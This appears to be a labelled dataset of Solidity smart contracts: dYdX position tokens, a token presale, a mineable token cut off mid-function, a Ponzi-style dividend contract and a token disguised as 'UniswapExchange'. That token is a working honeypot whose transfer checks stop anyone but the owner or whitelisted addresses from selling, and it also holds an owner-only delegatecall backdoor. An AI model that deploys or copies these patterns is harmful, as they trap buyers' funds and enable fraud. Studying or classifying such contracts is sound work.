result[lengthA + i] = stringB[i];
}
return result;
}
function bytes32ToHex(
bytes32 input
)
internal
pure
returns (bytes)
{
uint256 number = uint256(input);
bytes memory numberAsString = new bytes(66);
numberAsString[0] = byte(48);
numberAsString[1] = byte(120);
for (uint256 n = 0; n < 32; n++) {
uint256 nthByte = number / uint256(uint256(2) ** uint256(248 - 8 * n));
uint8 hex1 = uint8(nthByte) / uint8(16);
uint8 hex2 = uint8(nthByte) % uint8(16);
hex1 += (hex1 > 9) ? 87 : 48;
hex2 += (hex2 > 9) ? 87 : 48;
numberAsString[2 * n + 2] = byte(hex1);
numberAsString[2 * n + 3] = byte(hex2);
}
return numberAsString;
}
}
contract ERC20Long is ERC20Position {
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
ERC20Position(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
{}
function decimals()
external
view
returns (uint8)
{
return DetailedERC20(heldToken).decimals();
}
function symbol()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "L[UNINITIALIZED]";
}
return string(
StringHelpers.strcat(
"L",
bytes(DetailedERC20(heldToken).symbol())
)
);
}
function name()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "dYdX Leveraged Long Token [UNINITIALIZED]";
}
return string(
StringHelpers.strcat(
"dYdX Leveraged Long Token ",
StringHelpers.bytes32ToHex(POSITION_ID)
)
);
}
function getTokenAmountOnAdd(
uint256
)
internal
view
returns (uint256)
{
uint256 positionBalance = Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID);
return positionBalance.sub(totalSupply_);
}
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
)
{
uint256 positionBalance = Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID);
uint256 requestedTokenAmount = MathHelpers.getPartialAmount(
requestedCloseAmount,
positionPrincipal,
positionBalance
);
if (requestedTokenAmount <= balance) {
return (requestedTokenAmount, requestedCloseAmount);
}
uint256 allowedCloseAmount = MathHelpers.getPartialAmount(
balance,
positionBalance,
positionPrincipal
);
assert(allowedCloseAmount < requestedCloseAmount);
uint256 allowedTokenAmount = MathHelpers.getPartialAmount(
allowedCloseAmount,
positionPrincipal,
positionBalance
);
return (allowedTokenAmount, allowedCloseAmount);
}
}
contract ERC20CappedLong is
ERC20Long,
ERC20CappedPosition
{
using SafeMath for uint256;
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers,
address[] trustedLateClosers,
uint256 cap
)
public
ERC20Long(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
ERC20CappedPosition(
trustedLateClosers,
cap
)
{
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256)
{
uint256 tokenAmount = super.getTokenAmountOnAdd(principalAdded);
require(
totalSupply_.add(tokenAmount) <= tokenCap,
"ERC20CappedLong#getTokenAmountOnAdd: Adding tokenAmount would exceed cap"
);
return tokenAmount;
}
} | 1 | 2,984 |
pragma solidity ^0.4.24;
contract MainContract {
address owner;
address advertisingAddress;
uint private constant minInvest = 10 finney;
uint constant maxPayment = 360;
using Calc for uint;
using PercentCalc for PercentCalc.percent;
using Zero for *;
using compileLibrary for *;
struct User {
uint idx;
uint value;
uint bonus;
uint payValue;
uint payTime;
}
mapping(address => User) investorsStorage;
address[] users;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
event logsDataPayable(uint value, uint time, address indexed addr);
event logsDataConstructor(address creater, uint when, string text);
event newInvestor(address indexed addr, uint when, uint value);
event investToProject(address creater, uint when, string text);
event logPaymentUser(uint value, uint when, address indexed addr, string text);
event logPayDividends(uint value, uint when, address indexed addr, string text);
event logPayBonus(uint value, uint when, address indexed addr, string text);
event notEnoughETH(uint when, string text);
constructor() public {
owner = msg.sender;
users.length++;
emit logsDataConstructor(msg.sender, now, "constructor");
}
PercentCalc.percent private dividendPercent = PercentCalc.percent(8);
PercentCalc.percent private refPercent = PercentCalc.percent(2);
PercentCalc.percent private refPercentBonus = PercentCalc.percent(4);
PercentCalc.percent private advertisingPercent = PercentCalc.percent(5);
PercentCalc.percent private ownerPercent = PercentCalc.percent(2);
function() public payable {
if (msg.value == 0) {
fetchDividends();
return;
}
require(msg.value >= minInvest, "value can't be < than 0.01");
if (investorsStorage[msg.sender].idx > 0) {
sendValueToAdv(msg.value);
} else {
address ref = msg.data.toAddr();
uint idx = investorsStorage[msg.sender].idx;
uint value = msg.value;
idx = users.length++;
if (ref.notZero() && investorsStorage[ref].idx > 0) {
setUserBonus(ref, msg.value);
value += refPercent.getValueByPercent(value);
}
emit newInvestor(msg.sender, now, msg.value);
investorsStorage[msg.sender] = User({
idx : idx,
value : value,
bonus : 0,
payValue: 0,
payTime : now
});
}
sendValueToOwner(msg.value);
sendValueToAdv(msg.value);
emit logsDataPayable(msg.value, now, msg.sender);
}
function setUserBonus(address addr, uint value) private {
uint bonus = refPercentBonus.getValueByPercent(value);
if (investorsStorage[addr].idx > 0) {
investorsStorage[addr].bonus += bonus;
} else {
sendValueToAdv(bonus);
}
}
function fetchDividends() private {
User memory inv = findInvestorByAddress(msg.sender);
require(inv.idx > 0, "Payer is not investor");
uint payValueByTime = now.sub(inv.payTime).getDiffValue(1 hours);
require(payValueByTime > 0, "the payment was earlier than 1 hours");
uint newPayValye = payValueByTime + inv.payValue;
if (newPayValye > maxPayment) {
require(inv.bonus > 0, "you've already got 120%");
sendUserBonus(msg.sender, inv.bonus);
} else {
uint dividendValue = (dividendPercent.getValueByPercent(inv.value) * payValueByTime) / 24;
if (address(this).balance < dividendValue + inv.bonus) {
emit notEnoughETH(now, "not enough Eth at address");
return;
}
emit logPaymentUser(newPayValye, now, msg.sender, 'gotPercent value');
investorsStorage[msg.sender].payValue += payValueByTime;
if (inv.bonus > 0) {
sendDividendsWithBonus(msg.sender, dividendValue, inv.bonus);
} else {
sendDividends(msg.sender, dividendValue);
}
}
}
function sendUserBonus(address addr, uint bonus) private {
addr.transfer(bonus);
investorsStorage[addr].bonus = 0;
emit logPayBonus(bonus, now, addr, "Investor got bonuses!");
}
function setAdvertisingAddress(address addr) public onlyOwner {
advertisingAddress = addr;
}
function sendDividends(address addr, uint value) private {
updatePayTime(addr, now);
emit logPayDividends(value, now, addr, "dividends");
addr.transfer(value);
}
function sendDividendsWithBonus(address addr, uint value, uint bonus) private {
updatePayTime(addr, now);
addr.transfer(value + bonus);
investorsStorage[addr].bonus = 0;
emit logPayDividends(value + bonus, now, addr, "dividends with bonus");
}
function findInvestorByAddress(address addr) internal view returns (User) {
return User(
investorsStorage[addr].idx,
investorsStorage[addr].value,
investorsStorage[addr].bonus,
investorsStorage[addr].payValue,
investorsStorage[addr].payTime
);
}
function sendValueToOwner(uint val) private {
owner.transfer(ownerPercent.getValueByPercent(val));
}
function sendValueToAdv(uint val) private {
advertisingAddress.transfer(advertisingPercent.getValueByPercent(val));
}
function updatePayTime(address addr, uint time) private returns (bool) {
if (investorsStorage[addr].idx == 0) return false;
investorsStorage[addr].payTime = time;
return true;
}
}
library Calc {
function getDiffValue(uint _a, uint _b) internal pure returns (uint) {
require(_b > 0);
uint c = _a / _b;
return c;
}
function sub(uint _a, uint _b) internal pure returns (uint) {
require(_b <= _a);
uint c = _a - _b;
return c;
}
}
library PercentCalc {
struct percent {
uint val;
}
function getValueByPercent(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a * p.val / 100;
}
}
library Zero {
function notZero(address addr) internal pure returns (bool) {
return !(addr == address(0));
}
}
library compileLibrary {
function toAddr(bytes source) internal pure returns (address addr) {
assembly {addr := mload(add(source, 0x14))}
return addr;
}
} | 0 | 790 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract PresaleFallbackReceiver {
bool public presaleFallBackCalled;
function presaleFallBack(uint256 _presaleWeiRaised) public returns (bool);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract BTCPaymentI is Ownable, PresaleFallbackReceiver {
PaymentFallbackReceiver public presale;
PaymentFallbackReceiver public mainsale;
function addPayment(address _beneficiary, uint256 _tokens) public;
function setPresale(address _presale) external;
function setMainsale(address _mainsale) external;
function presaleFallBack(uint256) public returns (bool);
}
contract PaymentFallbackReceiver {
BTCPaymentI public payment;
enum SaleType { pre, main }
function PaymentFallbackReceiver(address _payment) public {
require(_payment != address(0));
payment = BTCPaymentI(_payment);
}
modifier onlyPayment() {
require(msg.sender == address(payment));
_;
}
event MintByBTC(SaleType _saleType, address indexed _beneficiary, uint256 _tokens);
function paymentFallBack(address _beneficiary, uint256 _tokens) external onlyPayment();
}
contract Sudo is Ownable {
bool public sudoEnabled;
modifier onlySudoEnabled() {
require(sudoEnabled);
_;
}
event SudoEnabled(bool _sudoEnabled);
function Sudo(bool _sudoEnabled) public {
sudoEnabled = _sudoEnabled;
}
function enableSudo(bool _sudoEnabled) public onlyOwner {
sudoEnabled = _sudoEnabled;
SudoEnabled(_sudoEnabled);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FXTI is ERC20 {
bool public sudoEnabled = true;
function transfer(address _to, uint256 _amount) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function generateTokens(address _owner, uint _amount) public returns (bool);
function destroyTokens(address _owner, uint _amount) public returns (bool);
function blockAddress(address _addr) public;
function unblockAddress(address _addr) public;
function enableSudo(bool _sudoEnabled) public;
function enableTransfers(bool _transfersEnabled) public;
function generateTokensByList(address[] _owners, uint[] _amounts) public returns (bool);
}
contract KYCI is Ownable {
function setAdmin(address _addr, bool _value) public returns (bool);
function isRegistered(address _addr, bool _isPresale) public returns (bool);
function register(address _addr, bool _isPresale) public;
function registerByList(address[] _addrs, bool _isPresale) public;
function unregister(address _addr, bool _isPresale)public;
function unregisterByList(address[] _addrs, bool _isPresale) public;
}
contract SaleBase is Sudo, Pausable, PaymentFallbackReceiver {
using SafeMath for uint256;
FXTI public token;
KYCI public kyc;
RefundVault public vault;
address public fuzexAccount;
mapping (address => uint256) public beneficiaryFunded;
uint256 public weiRaised;
bool public isFinalized;
modifier onlyNotFinalized() {
require(!isFinalized);
_;
}
function SaleBase(
address _token,
address _kyc,
address _vault,
address _payment,
address _fuzexAccount)
Sudo(false)
PaymentFallbackReceiver(_payment)
public
{
require(_token != address(0)
&& _kyc != address(0)
&& _vault != address(0)
&& _fuzexAccount != address(0));
token = FXTI(_token);
kyc = KYCI(_kyc);
vault = RefundVault(_vault);
fuzexAccount = _fuzexAccount;
}
function increaseWeiRaised(uint256 _amount) public onlyOwner onlyNotFinalized onlySudoEnabled {
weiRaised = weiRaised.add(_amount);
}
function decreaseWeiRaised(uint256 _amount) public onlyOwner onlyNotFinalized onlySudoEnabled {
weiRaised = weiRaised.sub(_amount);
}
function generateTokens(address _owner, uint _amount) public onlyOwner onlyNotFinalized onlySudoEnabled returns (bool) {
return token.generateTokens(_owner, _amount);
}
function destroyTokens(address _owner, uint _amount) public onlyOwner onlyNotFinalized onlySudoEnabled returns (bool) {
return token.destroyTokens(_owner, _amount);
}
function blockAddress(address _addr) public onlyOwner onlyNotFinalized onlySudoEnabled {
token.blockAddress(_addr);
}
function unblockAddress(address _addr) public onlyOwner onlyNotFinalized onlySudoEnabled {
token.unblockAddress(_addr);
}
function changeOwnership(address _target, address _newOwner) public onlyOwner {
Ownable(_target).transferOwnership(_newOwner);
}
function changeController(address _target, address _newOwner) public onlyOwner {
Controlled(_target).changeController(_newOwner);
}
function setFinalize() internal onlyOwner {
require(!isFinalized);
isFinalized = true;
}
}
contract FXTPresale is SaleBase {
uint256 public baseRate = 12000;
uint256 public PRE_BONUS = 25;
uint256 public BONUS_COEFF = 100;
uint256 public privateEtherFunded;
uint256 public privateMaxEtherCap;
uint256 public presaleMaxEtherCap;
uint256 public presaleMinPurchase;
uint256 public maxEtherCap;
uint64 public startTime;
uint64 public endTime;
event PresaleTokenPurchase(address indexed _purchaser, address indexed _beneficiary, uint256 toFund, uint256 tokens);
modifier onlyRegistered(address _addr) {
require(kyc.isRegistered(_addr, true));
_;
}
function FXTPresale(
address _token,
address _kyc,
address _vault,
address _payment,
address _fuzexAccount,
uint64 _startTime,
uint64 _endTime,
uint256 _privateEtherFunded,
uint256 _privateMaxEtherCap,
uint256 _presaleMaxEtherCap,
uint256 _presaleMinPurchase)
SaleBase(_token, _kyc, _vault, _payment, _fuzexAccount)
public
{
require(now < _startTime && _startTime < _endTime);
require(_privateEtherFunded >= 0);
require(_privateMaxEtherCap > 0);
require(_presaleMaxEtherCap > 0);
require(_presaleMinPurchase > 0);
require(_presaleMinPurchase < _presaleMaxEtherCap);
startTime = _startTime;
endTime = _endTime;
privateEtherFunded = _privateEtherFunded;
privateMaxEtherCap = _privateMaxEtherCap;
presaleMaxEtherCap = _presaleMaxEtherCap;
presaleMinPurchase = _presaleMinPurchase;
maxEtherCap = privateMaxEtherCap.add(presaleMaxEtherCap);
weiRaised = _privateEtherFunded;
require(weiRaised <= maxEtherCap);
}
function () external payable {
buyPresale(msg.sender);
}
function paymentFallBack(address _beneficiary, uint256 _tokens)
external
onlyPayment
{
require(startTime <= now && now <= endTime);
require(_beneficiary != address(0));
require(_tokens > 0);
uint256 rate = getRate();
uint256 weiAmount = _tokens.div(rate);
require(weiAmount >= presaleMinPurchase);
require(weiRaised.add(weiAmount) <= maxEtherCap);
weiRaised = weiRaised.add(weiAmount);
beneficiaryFunded[_beneficiary] = beneficiaryFunded[_beneficiary].add(weiAmount);
token.generateTokens(_beneficiary, _tokens);
MintByBTC(SaleType.pre, _beneficiary, _tokens);
}
function buyPresale(address _beneficiary)
public
payable
onlyRegistered(_beneficiary)
whenNotPaused
{
require(_beneficiary != address(0));
require(msg.value >= presaleMinPurchase);
require(validPurchase());
uint256 toFund;
uint256 tokens;
(toFund, tokens) = buy(_beneficiary);
PresaleTokenPurchase(msg.sender, _beneficiary, toFund, tokens);
}
function buy(address _beneficiary)
internal
returns (uint256 toFund, uint256 tokens)
{
uint256 weiAmount = msg.value;
uint256 totalAmount = weiRaised.add(weiAmount);
if (totalAmount > maxEtherCap) {
toFund = maxEtherCap.sub(weiRaised);
} else {
toFund = weiAmount;
}
require(toFund > 0);
require(weiAmount >= toFund);
uint256 rate = getRate();
tokens = toFund.mul(rate);
uint256 toReturn = weiAmount.sub(toFund);
weiRaised = weiRaised.add(toFund);
beneficiaryFunded[_beneficiary] = beneficiaryFunded[_beneficiary].add(toFund);
token.generateTokens(_beneficiary, tokens);
if (toReturn > 0) {
msg.sender.transfer(toReturn);
}
forwardFunds(toFund);
}
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
bool validTime = now >= startTime && now <= endTime;
return nonZeroPurchase && !maxReached() && validTime;
}
function getRate() public view returns (uint256) {
return calcRate(PRE_BONUS);
}
function calcRate(uint256 _bonus) internal view returns (uint256) {
return _bonus.add(BONUS_COEFF).mul(baseRate).div(BONUS_COEFF);
}
function maxReached() public view returns (bool) {
return weiRaised == maxEtherCap;
}
function forwardFunds(uint256 _toFund) internal {
vault.deposit.value(_toFund)(msg.sender);
}
function finalizePresale(address _mainsale) public onlyOwner {
require(!isFinalized);
require(maxReached() || now > endTime);
PresaleFallbackReceiver mainsale = PresaleFallbackReceiver(_mainsale);
require(mainsale.presaleFallBack(weiRaised));
require(payment.presaleFallBack(weiRaised));
vault.close();
changeController(address(token), _mainsale);
changeOwnership(address(vault), fuzexAccount);
enableSudo(false);
setFinalize();
}
} | 1 | 2,763 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 461 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract _BoomBankToken is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;
uint public _BLOCKS_PER_READJUSTMENT = 1024;
uint public _MINIMUM_TARGET = 2**16;
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber;
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
function _BoomBankToken() public onlyOwner{
symbol = "BBK";
name = "BoomBank Token";
decimals = 8;
_totalSupply = 21000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 0;
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
if (digest != challenge_digest) revert();
if(uint256(digest) > miningTarget) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert();
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
assert(tokensMinted <= maxSupplyForEra);
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
function _startNewMiningEpoch() internal {
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39)
{
rewardEra = rewardEra + 1;
}
maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1));
epochCount = epochCount.add(1);
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
